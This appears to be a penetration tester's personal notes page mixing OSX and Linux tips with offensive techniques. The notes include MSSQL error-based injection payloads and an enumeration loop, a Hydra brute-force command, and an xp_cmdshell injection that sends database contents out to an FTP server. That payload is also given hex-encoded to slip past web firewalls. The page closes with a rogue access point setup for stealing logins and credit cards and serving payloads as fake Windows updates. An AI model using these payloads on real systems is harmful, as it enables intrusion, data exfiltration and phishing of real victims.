4Shadow

OSX IDS

Clear NSUserDefaults

The following will clear all saved preferences:

[[NSUserDefaults standardUserDefaults] setPersistentDomain:[NSDictionary dictionary] forName:[[NSBundle mainBundle] bundleIdentifier]];

MS-SQL Injection through errors

The following is a very very rough outline draft, I will fill in the details at a later date:

Sqlmap (also found on BackTrack OS) performs the following similar payload to generate MSSQL errors. I've found that at times sqlmap will fail for my needs, thus knowing how to manually perform the injection helps.

For example, we know the following form is vulnerable to a SQL injection utilizing the following payload:

1);WAITFOR DELAY '0:0:9'--

We can proceed with the following injection techniques to generate some useful information. The following was devised after many testings:

) UNION SELECT 1,2,3,4,5,6,7,8 FROM DATABASE..invoice WHERE 1953=CONVERT(INT,(CHAR(58)+CHAR(108)+CHAR(117)+CHAR(121)+CHAR(58)+("+qryarg+")+CHAR(58)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(58))) AND (7022=7022)--

We use 8 columns because the unknown vulnerable query is pulling 8 columns. Therefore we need to match the amount of columns. The number of columns was found through SQL injection messages.

We then substitute our qryarg with the query we are interested in.

for i in range(1,500):
qryarg="SELECT TOP 1 name FROM (SELECT TOP "+str(i)+" name FROM master..sysdatabases ORDER BY name ASC) sq ORDER BY name DESC"

This will loop through each request and enumerate the database.

Then we start enumerating table names based on the found database names:

SELECT TOP 1 name FROM (SELECT TOP "+ str(i) +" name FROM DATABASE..sysobjects WHERE xtype = 'U' ORDER BY name ASC) sq ORDER BY name DESC

etc with columns, then actual rows.

Hydra-THC HTTP Basic Auth

hydra -L users.lst -P passwords.txt -t12 -f www.site.org http-head / -V

Python tricks

Small notes to myself:

chr() command is used to convert int to character. CHAR is the syntax used in MSSQL, when analyzing the query you can add an additional mapping of the command with:

>>> CHAR=chr

Now you can perform the following command:

>>>CHAR()

SQL Injection to Compromise OS

MSSQL Injection example to communicate with FTP server. The following POC can be extended to download/upload and execute Metasploit payloads to perform backdoors and reverse tcp connections. Discovered this with a customer who was directly compromised by this very attack vector:

Requirements: MSSQL running on System level (or equivalent) privileges. Where xp_* has not been ripped out.

Here is the query in its entirety:

Note: Replace ftp.microsoft.com with your FTP server, and user and password with your username and password.

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; exec master..xp_cmdshell 'mkdir temp& (echo open ftp.microsoft.com& echo user& echo password& echo binary& echo lcd temp& echo put file.txt file.txt& echo bye)>temp\ftpcommand.txt & (bcp "select name,dbid,crdate from master.dbo.sysdatabases" queryout b.txt -c -T & type b.txt& del b.txt) > temp\file.txt 2>&1 & ftp -s:temp\f3.txt & rmdir /S /Q temp';--

Break down:

Step 1 : Enable xp_cmdshell which is disabled by default on many SQL servers (2005):

sp_configure 'show advanced options', 1;

RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

Step 2: Create temporary directory:

exec master..xp_cmdshell 'mkdir temp&

Step 3: Create preset of FTP commands for execution. We will see this in the next step.

(echo open ftp.microsoft.com& echo user& echo password& echo binary& echo lcd temp& echo put file.txt file.txt& echo bye)>temp\ftpcommand.txt &

Step 4: Query MSSQL to show all Database and pipe into file.txt. FTP results to your server given the commands we created in Step 3:

(bcp "select name,dbid,crdate from master.dbo.sysdatabases" queryout b.txt -c -T & type b.txt& del b.txt) > temp\file.txt 2>&1 & ftp -s:temp\ftpcommand.txt & rmdir /S /Q temp';--

Recap:

This command essentially create a temporary directory "temp", pipes in a preset of FTP commands to upload file file.txt. It will then run a SQL query to pipe in the list database command into the temporary file. This file is then uploaded to the FTP server via ftp -s:temp\f3.txt which is the preset FTP commands defined. Subsequent clean up at the end (rmdir).

You can obviously expand this to upload/download backdoors to initiate reverse_tcp connections.

Additionally, some trivial obfuscation to mask the query with a hex encode, store it in a variable, then pipe that variable into "exec" to bypass primitive application firewalls that may key off on basic search strings:

declare @q varchar(8000) select @q = 0x455845432073705f636f6e666967757265202773686f7720616476616e636564206f7074696f6e73272c20313b5245434f4e4649475552453b455845432073705f636f6e666967757265202778705f636d647368656c6c272c20313b5245434f4e4649475552453b2065786563206d61737465722e2e78705f636d647368656c6c20276d6b6469722074656d702620286563686f206f70656e206674702e6d6963726f736f66742e636f6d26206563686f207573657226206563686f2070617373776f726426206563686f2062696e61727926206563686f206c63642074656d7026206563686f207075742066696c652e7478742066696c652e74787426206563686f20627965293e74656d705c667470636f6d6d616e642e74787420262028626370202273656c656374206e616d652c646269642c6372646174652066726f6d206d61737465722e64626f2e737973646174616261736573222071756572796f757420622e747874202d63202d542026207479706520622e747874262064656c20622e74787429203e2074656d705c66696c652e74787420323e2631202620667470202d733a74656d705c66332e747874202620726d646972202f53202f512074656d70273b2d2d exec(@q)

Global variables in OSX

http://www.learningiphone.com/2009/09/creating-a-global-object-in-objective-c/

OSX Convert audio formats

Example of converting to .caff:

afconvert -f caff -d LEI16@44100 -c 1 [input] [output]

Reverse Engineering HolisticInfoSec

http://holisticinfosec.blogspot.com/2010/09/everybody-loves-remnux.html

GPG Manual

Nice cheat sheet:

GPG Manual

List of Exploitations

http://code.google.com/p/it-sec-catalog/wiki/Exploitation

Replace new line characters with white space

cat [file] | tr "\n" " "

Updated getcountermeasure script for Meterpreter

http://pastebin.com/fXF2jKwY

Will kill UAC on Win7 if you have SYSTEM level privileges already.

Insecure Vulnerable Web Site for Training

http://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/

Gruyere Insecure "Hack this" website

http://google-gruyere.appspot.com/

Elements of Secure Coding

http://www.securecoding.org/authors/articles/may202003/section4.php

Metasploit tutorial from Offensive Security

http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training

OSX show listening ports

sudo lsof -i -P | grep -i listen

Ice Symbol Lookup Error

Re-hosting the resolution since it appears Novell's server goes down from time to time when I attempted to re-reference:


Install Novell eDirctory Adminstration Utilies as follows.
Extract the tar.gz file for eDirectory installation and locate the directory /eDirectory/setup.
Type ./nds-install from the setup directory.
Select option 2 for installing Novell eDirectory Administartion utilities.
Edit /etc/ld.so.conf file and make sure entry /opt/novell/eDirectory/lib is in the file. If not add the path in there and save the file.
Type "ldconfig" and press Enter.
If the following error is received after following the steps listed above, please reboot the server
"ice: error while loading shared libraries: libldapsdk.so.0: cannot open shared object file: No such file or directory"

Rogue Access Point

Rogue AP using GTWPA from Dean Liu on Vimeo.

GTWPA project is a wrapper around airbase-ng and dnsspoof. Redirects HTTP traffic to your malicious web server when the victim attempts to browse.

See project here:
crack-wifi.com/​forum/​viewtopic.php?id=363

I modified code base such that it enables attacking machine as web proxy after credentials are submitted.

You can serve up any login page you want. Here are some ideas: ask for credit card, Facebook login, serve up Metasploit payloads as Windows updates, etc.